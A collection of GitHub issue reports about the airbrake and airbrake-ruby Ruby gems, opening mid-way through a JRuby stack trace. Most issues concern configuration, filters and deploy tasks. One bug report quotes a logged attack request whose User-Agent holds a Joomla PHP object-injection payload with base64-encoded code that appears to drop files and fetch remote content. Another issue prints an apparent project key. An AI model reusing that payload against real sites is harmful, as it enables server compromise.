        at uri_3a_classloader_3a_.gems.eventmachine_minus_1_dot_2_dot_1_minus_java.lib.eventmachine.invokeOther155:receive_data(uri_3a_classloader_3a_/gems/eventmachine_minus_1_dot_2_dot_1_minus_java/lib/uri:classloader:/gems/eventmachine-1.2.1-java/lib/eventmachine.rb:1537)
        at uri_3a_classloader_3a_.gems.eventmachine_minus_1_dot_2_dot_1_minus_java.lib.eventmachine.event_callback(uri:classloader:/gems/eventmachine-1.2.1-java/lib/eventmachine.rb:1537)
        at uri_3a_classloader_3a_.gems.eventmachine_minus_1_dot_2_dot_1_minus_java.lib.jeventmachine.invokeOther5:event_callback(uri_3a_classloader_3a_/gems/eventmachine_minus_1_dot_2_dot_1_minus_java/lib/uri:classloader:/gems/eventmachine-1.2.1-java/lib/jeventmachine.rb:94)
        at uri_3a_classloader_3a_.gems.eventmachine_minus_1_dot_2_dot_1_minus_java.lib.jeventmachine.eventCallback(uri:classloader:/gems/eventmachine-1.2.1-java/lib/jeventmachine.rb:94)
        at org.jruby.javasupport.proxy.JavaProxyConstructor$MethodInvocationHandler.invokeRuby(org/jruby/javasupport/proxy/JavaProxyConstructor.java:255)
        at org.jruby.javasupport.proxy.JavaProxyConstructor$MethodInvocationHandler.invoke(org/jruby/javasupport/proxy/JavaProxyConstructor.java:238)
        at org.jruby.proxy.com.rubyeventmachine.EmReactor$Proxy1.eventCallback(org/jruby/proxy/com/rubyeventmachine/EmReactor$Proxy1)
        at com.rubyeventmachine.EmReactor.eventCallback(com/rubyeventmachine/EmReactor.java:89)
        at org.jruby.proxy.com.rubyeventmachine.EmReactor$Proxy1.__super$eventCallback(org/jruby/proxy/com/rubyeventmachine/EmReactor$Proxy1)
        at java.lang.reflect.Method.invoke(java/lang/reflect/Method.java:498)
        at org.jruby.javasupport.JavaMethod.invokeDirectSuperWithExceptionHandling(org/jruby/javasupport/JavaMethod.java:408)
        at org.jruby.javasupport.JavaMethod.tryProxyInvocation(org/jruby/javasupport/JavaMethod.java:611)
        at org.jruby.javasupport.JavaMethod.invokeDirect(org/jruby/javasupport/JavaMethod.java:287)
        at org.jruby.RubyClass.finvoke(org/jruby/RubyClass.java:522)
        at org.jruby.javasupport.proxy.JavaProxyConstructor$MethodInvocationHandler.invokeRuby(org/jruby/javasupport/proxy/JavaProxyConstructor.java:260)
        at org.jruby.javasupport.proxy.JavaProxyConstructor$MethodInvocationHandler.invoke(org/jruby/javasupport/proxy/JavaProxyConstructor.java:238)
        at org.jruby.proxy.com.rubyeventmachine.EmReactor$Proxy1.eventCallback(org/jruby/proxy/com/rubyeventmachine/EmReactor$Proxy1)
        at com.rubyeventmachine.EmReactor.isReadable(com/rubyeventmachine/EmReactor.java:259)
        at com.rubyeventmachine.EmReactor.processIO(com/rubyeventmachine/EmReactor.java:204)
        at com.rubyeventmachine.EmReactor.run(com/rubyeventmachine/EmReactor.java:111)
        at java.lang.reflect.Method.invoke(java/lang/reflect/Method.java:498)

       at java.lang.reflect.Method.invoke(java/lang/reflect/Method.java:498)
        at org.jruby.javasupport.JavaMethod.invokeDirectSuperWithExceptionHandling(org/jruby/javasupport/JavaMethod.java:408)
        at org.jruby.javasupport.JavaMethod.tryProxyInvocation(org/jruby/javasupport/JavaMethod.java:611)
        at org.jruby.javasupport.JavaMethod.invokeDirect(org/jruby/javasupport/JavaMethod.java:287)
        at org.jruby.RubyClass.finvoke(org/jruby/RubyClass.java:522)
        at org.jruby.javasupport.proxy.JavaProxyConstructor$MethodInvocationHandler.invokeRuby(org/jruby/javasupport/proxy/JavaProxyConstructor.java:260)
        at org.jruby.javasupport.proxy.JavaProxyConstructor$MethodInvocationHandler.invoke(org/jruby/javasupport/proxy/JavaProxyConstructor.java:238)
        at org.jruby.proxy.com.rubyeventmachine.EmReactor$Proxy1.eventCallback(org/jruby/proxy/com/rubyeventmachine/EmReactor$Proxy1)
        at com.rubyeventmachine.EmReactor.isReadable(com/rubyeventmachine/EmReactor.java:259)
        at com.rubyeventmachine.EmReactor.processIO(com/rubyeventmachine/EmReactor.java:204)
        at com.rubyeventmachine.EmReactor.run(com/rubyeventmachine/EmReactor.java:111)
        at java.lang.reflect.Method.invoke(java/lang/reflect/Method.java:498)
        at org.jruby.javasupport.JavaMethod.invokeDirectWithExceptionHandling(org/jruby/javasupport/JavaMethod.java:438)
        at org.jruby.javasupport.JavaMethod.tryProxyInvocation(org/jruby/javasupport/JavaMethod.java:623)
        at org.jruby.javasupport.JavaMethod.invokeDirect(org/jruby/javasupport/JavaMethod.java:299)
        at RUBY.run_machine(uri:classloader:/gems/eventmachine-1.2.1-java/lib/jeventmachine.rb:113)
        at RUBY.run(uri:classloader:/gems/eventmachine-1.2.1-java/lib/eventmachine.rb:194)
        at bin.sources.bay_event_forwarder.invokeOther35:run(bin/sources/bay_event_forwarder.rb:28)
        at bin.sources.bay_event_forwarder.start!(bin/sources/bay_event_forwarder.rb:28)
        at bin.sources.bay_event_forwarder.invokeOther49:start!(bin/sources/bay_event_forwarder.rb:51)
        at bin.sources.bay_event_forwarder.<main>(bin/sources/bay_event_forwarder.rb:51)
        at java.lang.invoke.MethodHandle.invokeWithArguments(java/lang/invoke/MethodHandle.java:627)
        at org.jruby.Ruby.runScript(org/jruby/Ruby.java:846)
        at org.jruby.Ruby.runNormally(org/jruby/Ruby.java:761)
        at org.jruby.Ruby.runNormally(org/jruby/Ruby.java:779)
        at org.jruby.Ruby.runFromMain(org/jruby/Ruby.java:592)
        at org.jruby.Main.doRunFromMain(org/jruby/Main.java:425)
        at org.jruby.Main.internalRun(org/jruby/Main.java:313)
        at org.jruby.Main.run(org/jruby/Main.java:242)
        at org.jruby.mains.JRubyMain.run(org/jruby/mains/JRubyMain.java:108)
        at org.jruby.mains.JRubyMain.main(org/jruby/mains/JRubyMain.java:39)
        at org.jruby.mains.JarMain.main(org/jruby/mains/JarMain.java:6)

Add Airbrake.configured? method

Apologies if this actually exists somewhere and I'm totally blind, but I'm in the process of writing a PR for a new integration for airbrake (airbrake/airbrake#472) and it occurs to me that it would be exceedingly helpful if there were a class method on the Airbrake module called configured? that returned a boolean to indicate if a Notifier had been configured (and thus existed).

This would be useful to test for because if the airbrake gem handles an exception that occurs before the airbrake-ruby configuration loads, a second exception will be triggered, making it

  • more difficult to troubleshoot the first, and;
  • unnecessary/unhelpful/inadvisable for the airbrake gem to have intercepted anything in the first place

While the airbrake gem also makes use of the Airbrake module, it seems like airbrake-ruby would still be the proper location for the class method I am proposing.

I am happy to write the PR if needed, but seeing as that part is trivial (the actual function obviously will comprise just one line of code) I thought any necessary discussion should happen first..

Docs out of date for sending current_user information?

I was trying to get user information associated with an error working, mentioned in the readme

Looks like some options related to it were removed in the migration to 5. My guess is that also changed it so the Airbrake::Rack::User middleware is no longer automatically inserted? I see it still exists, but it doesn't look to be used:

https://github.com/airbrake/airbrake/blob/a77b20bbdb1cd089b775d613482552f067b0c4df/lib/airbrake/rack/user.rb

https://github.com/airbrake/airbrake/blob/05e66f4941d4cedcb690124703b63ec0b498c293/lib/airbrake/rails/railtie.rb

If so, what's the recommended way to insert this middleware?

Get rid of third argument in public API methods

The third argument is notifier_name. I never really liked the way it's designed, but it's was simple in terms of implementation. Reminder, this is the old API:

Airbrake.notify('oops', params, :project_a)
# ...
Airbrake.any_function_call(any_args, :project_a)

Instead, I'd like to decouple :project_a from method signatures. Proposed way:

Airbrake[:project_a].notify('oops', params)

The old way of calling Airbrake must also be supported: Airbrake.notify.

Why Airbrake v5 doesn't allow reconfiguration

I was wondering why Airbrake version 5 doesn't allow reconfiguration.

There are some certain cases I think reconfiguration is needed. For example I want to change the logger for Sidekiq or for other processes forked Rails.

How to replace ignore_user_agent functionality?

Migrating from 4.3.4 where we used the ignore_user_agent configuration option. I'm trying to figure out how to replicate that functionality using the new add_filter feature. Any guidance?

use a default for root_directory

something sensible would be nice to avoid having to always set it ...

(defined?(Bundler) && Bundler.root.to_s) || File.expand_path(Dir.pwd)

blacklist_keys does not remove sensitive information from put bodies

  • airbrake version: 6.0.0
  • airbrake-ruby version: 2.0.0
  • Ruby version: 2.3.3
  • Framework: Rails => 4.2.7.1

Description

When configuring the blacklist_keys setting to include things like password, these keys are successfully redacted in parameters that are passed along, however, this information remains in the original PUT body that may be passed along.

I am using a regular expression to remove passwords like this /password/. The password attributes on parameterized objects are still getting included in the PUT bodies like so: user%5Bpassword%5D=Random12345&user%5Bpassword_confirmation%5D=Random12345

This issue is similar to the issue reported here.

add_filter throwing exception

Migrating from 4.3.4 to 5.0.1 and when I try to configure Airbrake using an inline add_filter, I'm getting an exception.

I've got the add_filter just like in the migration_guide for testing purposes:

Airbrake.add_filter do |notice|
  if notice[:errors].any? { |error| error[:type] == 'RuntimeError' }
    notice.ignore!
  end
end

In a rails console I try this:

2.1.6 :003 > e = Exception.new("Hello World")
 => #<Exception: Hello World> 
2.1.6 :004 > Airbrake.notify(e)
NoMethodError: undefined method `call' for nil:NilClass
    from /Users/jschuman/.rvm/gems/ruby-2.1.6@kona/gems/airbrake-ruby-1.0.0/lib/airbrake-ruby/filter_chain.rb:64:in `block in refine'
    from /Users/jschuman/.rvm/gems/ruby-2.1.6@kona/gems/airbrake-ruby-1.0.0/lib/airbrake-ruby/filter_chain.rb:62:in `each'
    from /Users/jschuman/.rvm/gems/ruby-2.1.6@kona/gems/airbrake-ruby-1.0.0/lib/airbrake-ruby/filter_chain.rb:62:in `refine'
    from /Users/jschuman/.rvm/gems/ruby-2.1.6@kona/gems/airbrake-ruby-1.0.0/lib/airbrake-ruby/notifier.rb:123:in `send_notice'
    from /Users/jschuman/.rvm/gems/ruby-2.1.6@kona/gems/airbrake-ruby-1.0.0/lib/airbrake-ruby/notifier.rb:45:in `notify'
    from /Users/jschuman/.rvm/gems/ruby-2.1.6@kona/gems/airbrake-ruby-1.0.0/lib/airbrake-ruby.rb:280:in `call_notifier'
    from /Users/jschuman/.rvm/gems/ruby-2.1.6@kona/gems/airbrake-ruby-1.0.0/lib/airbrake-ruby.rb:134:in `notify'
    from (irb):4
    from /Users/jschuman/.rvm/gems/ruby-2.1.6@kona/gems/railties-4.2.5/lib/rails/commands/console.rb:110:in `start'
    from /Users/jschuman/.rvm/gems/ruby-2.1.6@kona/gems/railties-4.2.5/lib/rails/commands/console.rb:9:in `start'
    from /Users/jschuman/.rvm/gems/ruby-2.1.6@kona/gems/railties-4.2.5/lib/rails/commands/commands_tasks.rb:68:in `console'
    from /Users/jschuman/.rvm/gems/ruby-2.1.6@kona/gems/railties-4.2.5/lib/rails/commands/commands_tasks.rb:39:in `run_command!'
    from /Users/jschuman/.rvm/gems/ruby-2.1.6@kona/gems/railties-4.2.5/lib/rails/commands.rb:17:in `<top (required)>'
    from bin/rails:4:in `require'
    from bin/rails:4:in `<main>'

If I switch the filter to be a class and new up that class in the add_filter call then it works fine.

Switch to sync model if queue is full

Is it possible to switch sync calls if I have my queue full? Currently if I will send 1000 errors and the queue is only 100, 900 will be ignored, really unexpected for me.

Looks like #47 this PR removed exactly what I I'm asking for)

Maybe it's better to have config option to switch between these 2 models(blocking or rejecting)? Looks like it's easy to add

Airbrake: unexpected code (405). Body: Method Not Allowed

This error above was caused by something that took me a while to figure out. I am running airbrake (5.0.5) on my application and found that this error comes up when you are setting the project_id and the project_key to blank values.

File: config/initializers/airbrake.rb

Airbrake.configure do |c|
  c.project_id = ''
  c.project_key = ''
rake airbrake:deploy USERNAME=my_user ENVIRONMENT=staging REVISION=revision REPOSITORY=github_repo VERSION=1

results from command

Request URI: /api/v4/projects/deploys?key=
Req: #<Net::HTTP::Post POST>
Endpoint: #<URI::HTTPS https://airbrake.io/api/v4/projects/deploys?key=>
Notice: {:environment=>"alpha", :username=>"my_user", :revision=>"revision", :repository=>"github_repo", :version=>"1"}
Response: #<Net::HTTPMethodNotAllowed 405 Method Not Allowed readbody=true>
E, [2016-05-11T11:55:50.492599 #97422] ERROR -- : **Airbrake: unexpected code (405). Body: Method Not Allowed

My Understanding of Results

Most of what I was seeing now makes sense. based off what I see above I get why it resulted in the 405. Because the project_id is not present it changes the URL. So a 405 is exactly what you expect. when you don't have a project_id

Request URI: /api/v4/projects/{project_id}/deploys?key={project_key}
Req: #<Net::HTTP::Post POST>
Endpoint: #<URI::HTTPS https://airbrake.io/api/v4/projects/{project_id}/deploys?key=39f22e0d8d5f97df880bd62567b0f2b6>
Notice: {:environment=>"alpha", :username=>"my_user", :revision=>"d2eae2dd353f67f7c95f97b7fcbe23ff170382c6", :repository=>"github_repo", :version=>"1"}
Response: #<Net::HTTPCreated 201 Created readbody=true>

Possible Solution

I think a good idea would be to add a check to make sure that the project_id and project key are present before you send the post. If not present warn the user but perform the action anyway. As you could be in the test environment or in the development environment. However there is much more to take into account as you can run the rake airbrake:deploy using RAILS_ENV=development and ENVIRONMENT=staging. So might be be also a solution to only warn if the ENVIRONMENT that you are deploying to is not in the ignore_environemnts varable.

c.ignore_environments = %w(test development)

require 'airbrake/sidekiq/error_handler'

airbrake_yml = Rails.root.join('config', 'airbrake.yml')
if File.exist?(airbrake_yml)
  config = YAML.load_file(airbrake_yml)
  puts '------------------------- Deprecation Warning -------------------------'
  puts(
    'Deprecation Warning: airbrake.yml is being removed please use .env '\
    'with AIRBRAKE_PROJECT_ID & AIRBRAKE_PROJECT_KEY'
  )
  puts '------------------------- Deprecation Warning -------------------------'
  project_key = config[:project_key]
  project_id = config[:project_id]
end

project_key = (ENV['AIRBRAKE_PROJECT_KEY'] || project_key).to_s
project_id = (ENV['AIRBRAKE_PROJECT_ID'] || project_id).to_s
# I found that there is a lot of confusing error messages when keys are blank
# To solve this we are placing a warning to the user so that they can
# address the problem. However the warning does not apply when you are testing
# as there is no use case currently that would require the application to talk
# to airbrake when in test mode
unless Rails.env.test?
  puts 'WARN: Airbrake Project key is blank' if project_key.blank?
  puts 'WARN: Airbrake Project id is blank' if project_id.blank?
end

https://github.com/airbrake/airbrake-ruby/blob/master/lib/airbrake-ruby/config.rb#L100
I am think here on the endpoint method might be the best spot to raise the warning as it seams to be the point in which the data is required to work correctly.

override exception message ?

this used to work ... but now it only gives saves the error message ... would be nice to either make it work again or have a deprecation

Airbrake.notify($!, error_message: "Foobar")

Using persistent queues for async notices

  • Airbrake version: Upgrading from 4.3.3 to 5.5.0
  • Ruby version: 2.0
  • Framework name & version: Rails 4.2 and Unicorn 4.9

Due to airbrake's new async notifier, the queue is now a part of the main application code and the queue is cleared(or destroyed) when the application itself crashes.

Is there a way to use persistent queues so that I don't lose any notifications?

Can't parse crazy JRuby backtrace line

  • Airbrake version: 1.4.6
  • Ruby version: JRuby 9.1.5.0
  • Framework name & version: N/A

Airbrake config

Only project id, project key, and environment.

Description

I’ve got this exception + back trace being written out to my log file:

org.jruby.exceptions.RaiseException: (ReadTimeout) Net::ReadTimeout
    at uri_3a_classloader_3a_.META_minus_INF.jruby_dot_home.lib.ruby.stdlib.net.protocol.rbuf_fill(uri:classloader:/META-INF/jruby.home/lib/ruby/stdlib/net/protocol.rb:158)
    at uri_3a_classloader_3a_.META_minus_INF.jruby_dot_home.lib.ruby.stdlib.net.protocol.read(uri:classloader:/META-INF/jruby.home/lib/ruby/stdlib/net/protocol.rb:104)
    at uri_3a_classloader_3a_.META_minus_INF.jruby_dot_home.lib.ruby.stdlib.net.http.response.block in read_body_0(uri:classloader:/META-INF/jruby.home/lib/ruby/stdlib/net/http/response.rb:290)
    at uri_3a_classloader_3a_.META_minus_INF.jruby_dot_home.lib.ruby.stdlib.net.http.response.inflater(uri:classloader:/META-INF/jruby.home/lib/ruby/stdlib/net/http/response.rb:275)
    at uri_3a_classloader_3a_.META_minus_INF.jruby_dot_home.lib.ruby.stdlib.net.http.response.read_body_0(uri:classloader:/META-INF/jruby.home/lib/ruby/stdlib/net/http/response.rb:280)
    at uri_3a_classloader_3a_.META_minus_INF.jruby_dot_home.lib.ruby.stdlib.net.http.response.read_body(uri:classloader:/META-INF/jruby.home/lib/ruby/stdlib/net/http/response.rb:201)
    at uri_3a_classloader_3a_.META_minus_INF.jruby_dot_home.lib.ruby.stdlib.net.http.response.body(uri:classloader:/META-INF/jruby.home/lib/ruby/stdlib/net/http/response.rb:226)
    at uri_3a_classloader_3a_.META_minus_INF.jruby_dot_home.lib.ruby.stdlib.net.http.response.reading_body(uri:classloader:/META-INF/jruby.home/lib/ruby/stdlib/net/http/response.rb:163)
    at uri_3a_classloader_3a_.gems.aws_minus_sdk_minus_core_minus_2_dot_5_dot_6.lib.seahorse.client.net_http.patches.new_transport_request(uri:classloader:/gems/aws-sdk-core-2.5.6/lib/seahorse/client/net_http/patches.rb:37)
    at uri_3a_classloader_3a_.META_minus_INF.jruby_dot_home.lib.ruby.stdlib.net.http.request(uri:classloader:/META-INF/jruby.home/lib/ruby/stdlib/net/http.rb:1397)
    at uri_3a_classloader_3a_.META_minus_INF.jruby_dot_home.lib.ruby.stdlib.net.http.block in request(uri:classloader:/META-INF/jruby.home/lib/ruby/stdlib/net/http.rb:1390)
    at uri_3a_classloader_3a_.META_minus_INF.jruby_dot_home.lib.ruby.stdlib.net.http.start(uri:classloader:/META-INF/jruby.home/lib/ruby/stdlib/net/http.rb:857)
    at uri_3a_classloader_3a_.META_minus_INF.jruby_dot_home.lib.ruby.stdlib.net.http.request(uri:classloader:/META-INF/jruby.home/lib/ruby/stdlib/net/http.rb:1388)
    at uri_3a_classloader_3a_.gems.httparty_minus_0_dot_14_dot_0.lib.httparty.request.perform(uri:classloader:/gems/httparty-0.14.0/lib/httparty/request.rb:118)
    at uri_3a_classloader_3a_.gems.httparty_minus_0_dot_14_dot_0.lib.httparty.perform_request(uri:classloader:/gems/httparty-0.14.0/lib/httparty.rb:560)
    at uri_3a_classloader_3a_.gems.httparty_minus_0_dot_14_dot_0.lib.httparty.get(uri:classloader:/gems/httparty-0.14.0/lib/httparty.rb:486)
    at uri_3a_classloader_3a_.gems.park_server_minus_1_dot_5_dot_1.lib.park_server.client.perform(uri:classloader:/gems/park_server-1.5.1/lib/park_server/client.rb:110)
    at uri_3a_classloader_3a_.gems.park_server_minus_1_dot_5_dot_1.lib.park_server.client.get(uri:classloader:/gems/park_server-1.5.1/lib/park_server/client.rb:55)
    at uri_3a_classloader_3a_.lib.processors.image_upload.fetch_image(uri:classloader:/lib/processors/image_upload.rb:93)
    at uri_3a_classloader_3a_.lib.processors.image_upload.process!(uri:classloader:/lib/processors/image_upload.rb:157)
    at bin.processors.image_uploader.block in make_streams(bin/processors/image_uploader.rb:21)

And I’m passing that exception to Airbrake.notify_sync and it’s raising an exception with this message:

can't parse 'uri_3a_classloader_3a_.META_minus_INF.jruby_dot_home.lib.ruby.stdlib.net.protocol.rbuf_fill(uri:classloader:/META-INF/jruby.home/lib/ruby/stdlib/net/protocol.rb:158)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)

The 'default' notifier isn't configured or both :project_id and :project_key are required

I am migrating from airbrake 4.3 to 5 and have the below issue:

/Users/kode/.rvm/gems/ruby-2.2.3/gems/airbrake-ruby-1.0.0/lib/airbrake-ruby.rb:282:in `call_notifier': the 'default' notifier isn't configured (Airbrake::Error)
  from /Users/kode/.rvm/gems/ruby-2.2.3/gems/airbrake-ruby-1.0.0/lib/airbrake-ruby.rb:149:in `notify_sync'
  from /Users/kode/.rvm/gems/ruby-2.2.3/gems/airbrake-ruby-1.0.0/lib/airbrake-ruby.rb:291:in `block in <top (required)>'
/Users/kode/.rvm/gems/ruby-2.2.3/gems/airbrake-ruby-1.0.0/lib/airbrake-ruby/notifier.rb:30:in `initialize': both :project_id and :project_key are required (Airbrake::Error)
  from /Users/kode/.rvm/gems/ruby-2.2.3/gems/airbrake-ruby-1.0.0/lib/airbrake-ruby.rb:104:in `new'
  from /Users/kode/.rvm/gems/ruby-2.2.3/gems/airbrake-ruby-1.0.0/lib/airbrake-ruby.rb:104:in `configure'
  from /Users/kode/webapps/customer-store-service/config/initializers/airbrake.rb:3:in `<top (required)>'

I loked at lib/airbrake-ruby.rb:282 and the docs, but didn't found a configuration for notifier. The configuration for the second error I looked at both :project_id and :project_key are required also seems to be ok. In my Sinatra app in config/initializers/airbrake.rb I have

require 'airbrake'

Airbrake.configure do |config|
  config.ignore_environments = %w(development test)
  config.project_id = ENV['AITBRAKE_PROJECT_ID']
  config.project_key = ENV['AIRBRAKE_PROJECT_KEY']
  ...

This blog post make me think, that this is removed from airbrake, but not in airbrake-ruby. Any idea?

default notifier for multiple applications

Hey guys,

I have 2 applications mounted in config.ru:

map '/a' do
  run ApplicationA::Application
end

map  '/b' do
  run ApplicationB::Application
end

ApplicationA is normal rails application, ApplicationB is a Rails engine. Both applications have Airbrake configured. It's necessary in my setup because I have separate servers running only ApplicationA and only ApplicationB too.

Configuring Airbrake standard way results in the 'default' notifier was already configured.
Configuring dedicated notifiers (:application_a and :application_b) results in the 'default' notifier isn't configured.

I understand where is this coming from, I wonder if there is a clean solution for this sort of setups. I'm fine with both applications sharing the same global config.

Thanks,

Rob

obsolete version warning is too loud

It's annoying to get a yellow alert banner from production exceptions for airbrake-ruby gem versions that are only slightly out of date.

In this case, airbrake-ruby has been out for 4 days and I'm already getting emails yelling about it. Production servers aren't necessarily updated with new gem libraries every few days, and it's not reasonable to expect that unless there are serious security errors. Is that the case here?

screen shot 2016-09-13 at 1 13 15 pm

Save context of a current thread

Lets assume we have a complex logic, which has multiple steps, and you can't access previous variables that affects on the current state of logic where an exception happened. Right now it's not possible to find out how it came into current state, except to go through the logger for the same time. Would be nice to save context in a Thread.current and use it inside the Notifier.

'rake airbrake:deploy' gives 'LoadError: cannot load such file -- airbrake/tasks'

[web@server10196 current]$ ruby -v
ruby 2.0.0p647 (2015-08-18 revision 51631) [x86_64-linux]
[web@server10196 current]$ gem --version
2.1.11
[web@server10196 current]$ grep airbrake Gemfile.lock
    airbrake (5.4.1)
      airbrake-ruby (~> 1.4)
    airbrake-ruby (1.4.3)
  airbrake
[web@server10196 current]$ gem list | grep airbrake
airbrake (5.4.1, 4.3.1)
airbrake-ruby (1.4.3)
[web@server10196 current]$ RAILS_ENV=production TO=production rake airbrake:deploy
Failed to run airbrake:deploy because of missing dependency.
You probably need to run `rake gems:install` to install the airbrake gem
#<LoadError: cannot load such file -- airbrake/tasks>
[web@server10196 current]$ rake gems:install
rake aborted!
Don't know how to build task 'gems:install'
/home/web/.rvm/gems/ruby-2.0.0-p647@myapp/bin/ruby_executable_hooks:15:in `eval'
/home/web/.rvm/gems/ruby-2.0.0-p647@myapp/bin/ruby_executable_hooks:15:in `<main>'
(See full trace by running task with --trace)

Airbrake-ruby stuck in an infinite loop

  • Airbrake version: 1.2.2
  • Ruby version: 2.2.4p230
  • Framework name & version: Rails 4.2.6

Airbrake config

    Airbrake.configure(:default) do |c|
      c.project_key = ***
      c.project_id = ***
      c.logger = Logger.new("#{Rails.root}/log/airbrake.log")
      c.environment = Rails.env
      c.ignore_environments = %w(cucumber test)
      c.root_directory = Rails.root
      c.blacklist_keys = ['_csrf_token', 'HTTP_AUTHORIZATION', /password/i]
    end

Description

I unfortunately could not come up with a reproduction package after a day of trying different inputs, so I hope that your better understanding of the code might solve this one. This happened on our production server and the best I could collect is log.

A malicious agent tried to pass some executable php code in the user_agent header to our Rails app. The request looked like this (as logged by our nginx server, I believe this is truncated):

[04/May/2016:22:34:03 +0000] "GET / HTTP/1.1" 500 1266 "-" "}__test|O:21:\x22JDatabaseDriverMysqli\x22:3:{s:2:\x22fc\x22;O:17:\x22JSimplepieFactory\x22:0:{}s:21:\x22\x5C0\x5C0\x5C0disconnectHandlers\x22;a:1:{i:0;a:2:{i:0;O:9:\x22SimplePie\x22:5:{s:8:\x22sanitize\x22;O:20:\x22JDatabaseDriverMysql\x22:0:{}s:8:\x22feed_url\x22;s:3738:\x22eval(base64_decode('JGNoZWNrID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICIvbWVkaWEveHh4eC5waHAiIDsNCiRmcD1mb3BlbigiJGNoZWNrIiwidysiKTsNCmZ3cml0ZSgkZnAsYmFzZTY0X2RlY29kZSgnUEQ5d2FIQU5DbVoxYm1OMGFXOXVJR2gwZEhCZloyVjBLQ1IxY213cGV3MEtDU1JwYlNBOUlHTjFjbXhmYVc1cGRDZ2tkWEpzS1RzTkNnbGpkWEpzWDNObGRHOXdkQ2drYVcwc0lFTlZVa3hQVUZSZlVrVlVWVkpPVkZKQlRsTkdSVklzSURFcE93MEtDV04xY214ZmMyVjBiM0IwS0NScGJTd2dRMVZTVEU5UVZGOURUMDVPUlVOVVZFbE5SVTlWVkN3Z01UQXBPdzBLQ1dOMWNteGZjMlYwYjNCMEtDUnBiU3dnUTFWU1RFOVFWRjlHVDB4TVQxZE1UME5CVkVsUFRpd2dNU2s3RFFvSlkzVnliRjl6WlhSdmNIUW9KR2x0TENCRFZWSk1UMUJVWDBoRlFVUkZVaXdnTUNrN0RRb0pjbVYwZFhKdUlHTjFjbXhmWlhobFl5Z2thVzBwT3cwS0NXTjFjbXhmWTJ4dmMyVW9KR2x0S1RzTkNuME5DaVJqYUdWamF5QTlJQ1JmVTBWU1ZrVlNXeWRFVDBOVlRVVk9WRjlTVDA5VUoxMGdMaUFpTDIxbFpHbGhMMk56Y3k1d2FIQWlJRHNOQ2lSMFpYaDBJRDBnYUhSMGNGOW5aWFFvSjJoMGRIQTZMeTl0Y25SbkxuVnBMbkJvYVc1dFlTNWxaSFV1Y0dndlkyOXRjRzl1Wlc1MGN5OXFiMjl0YkdFdWRIaDBKeWs3RFFva2IzQmxiaUE5SUdadmNHVnVLQ1JqYUdWamF5d2dKM2NuS1RzTkNtWjNjbWwwWlNna2IzQmxiaXdnSkhSbGVIUXBPdzBLWm1Oc2IzTmxLQ1J2Y0dWdUtUc05DbWxtS0dacGJHVmZaWGhwYzNSektDUmphR1ZqYXlrcGV3MEtJQ0FnSUdWamFHOGdKR05vWldOckxpSThMMkp5UGlJN0RRcDlaV3h6WlNBTkNpQWdaV05vYnlBaWJtOTBJR1Y0YVhSeklqc05DbVZqYUc4Z0ltUnZibVVnTGx4dUlDSWdPdzBLSkdOb1pXTnJNaUE5SUNSZlUwVlNWa1ZTV3lkRVQwTlZUVVZPVkY5U1QwOVVKMTBnTGlBaUwyMWxaR2xoTDJwdFlXbHNMbkJvY0NJZ093MEtKSFJsZUhReUlEMGdhSFIwY0Y5blpYUW9KMmgwZEhBNkx5OXRjblJuTG5WcExuQm9hVzV0WVM1bFpIVXVjR2d2WTI5dGNHOXVaVzUwY3k5cWJXRnBiSG91ZEhoMEp5azdEUW9rYjNCbGJqSWdQU0JtYjNCbGJpZ2tZMmhsWTJzeUxDQW5keWNwT3cwS1puZHlhWFJsS0NSdmNHVnVNaXdnSkhSbGVIUXlLV

The Rails server most likely failed to decode the header and raised an exception that airbrake-ruby tried to report. This is where things started going wrong. Here are the airbrake logs that followed:

D, [2016-05-04T22:34:03.963131 #23492] DEBUG -- : **Airbrake: `notice.to_json` failed: "\xF0" from ASCII-8BIT to UTF-8
D, [2016-05-04T22:34:03.965277 #23492] DEBUG -- : **Airbrake: `notice.to_json` failed: "\xF0" from ASCII-8BIT to UTF-8
D, [2016-05-04T22:34:03.967344 #23492] DEBUG -- : **Airbrake: `notice.to_json` failed: "\xF0" from ASCII-8BIT to UTF-8
D, [2016-05-04T22:34:03.977436 #23492] DEBUG -- : **Airbrake: `notice.to_json` failed: "\xF0" from ASCII-8BIT to UTF-8
D, [2016-05-04T22:34:03.979489 #23492] DEBUG -- : **Airbrake: `notice.to_json` failed: "\xF0" from ASCII-8BIT to UTF-8
D, [2016-05-04T22:34:03.981755 #23492] DEBUG -- : **Airbrake: `notice.to_json` failed: "\xF0" from ASCII-8BIT to UTF-8
D, [2016-05-04T22:34:03.984759 #23492] DEBUG -- : **Airbrake: `notice.to_json` failed: "\xF0" from ASCII-8BIT to UTF-8
D, [2016-05-04T22:34:03.999362 #23492] DEBUG -- : **Airbrake: `notice.to_json` failed: "\xF0" from ASCII-8BIT to UTF-8
D, [2016-05-04T22:34:04.003028 #23492] DEBUG -- : **Airbrake: `notice.to_json` failed: "\xF0" from ASCII-8BIT to UTF-8
D, [2016-05-04T22:34:04.007852 #23492] DEBUG -- : **Airbrake: `notice.to_json` failed: "\xF0" from ASCII-8BIT to UTF-8
I, [2016-05-04T22:34:04.007907 #23492] INFO -- : **Airbrake: truncated the message of Encoding::UndefinedConversionError
I, [2016-05-04T22:34:04.007947 #23492] INFO -- : **Airbrake: dropped 16 frame(s) from Encoding::UndefinedConversionError
D, [2016-05-04T22:34:04.022644 #23492] DEBUG -- : **Airbrake: `notice.to_json` failed: "\xF0" from ASCII-8BIT to UTF-8
I, [2016-05-04T22:34:04.022688 #23492] INFO -- : **Airbrake: truncated the message of Encoding::UndefinedConversionError
I, [2016-05-04T22:34:04.022722 #23492] INFO -- : **Airbrake: dropped 10 frame(s) from Encoding::UndefinedConversionError
D, [2016-05-04T22:34:04.024688 #23492] DEBUG -- : **Airbrake: `notice.to_json` failed: "\xF0" from ASCII-8BIT to UTF-8
I, [2016-05-04T22:34:04.024730 #23492] INFO -- : **Airbrake: truncated the message of Encoding::UndefinedConversionError
I, [2016-05-04T22:34:04.024763 #23492] INFO -- : **Airbrake: dropped 5 frame(s) from Encoding::UndefinedConversionError
D, [2016-05-04T22:34:04.026259 #23492] DEBUG -- : **Airbrake: `notice.to_json` failed: "\xF0" from ASCII-8BIT to UTF-8
I, [2016-05-04T22:34:04.026303 #23492] INFO -- : **Airbrake: truncated the message of Encoding::UndefinedConversionError
I, [2016-05-04T22:34:04.026336 #23492] INFO -- : **Airbrake: dropped 2 frame(s) from Encoding::UndefinedConversionError
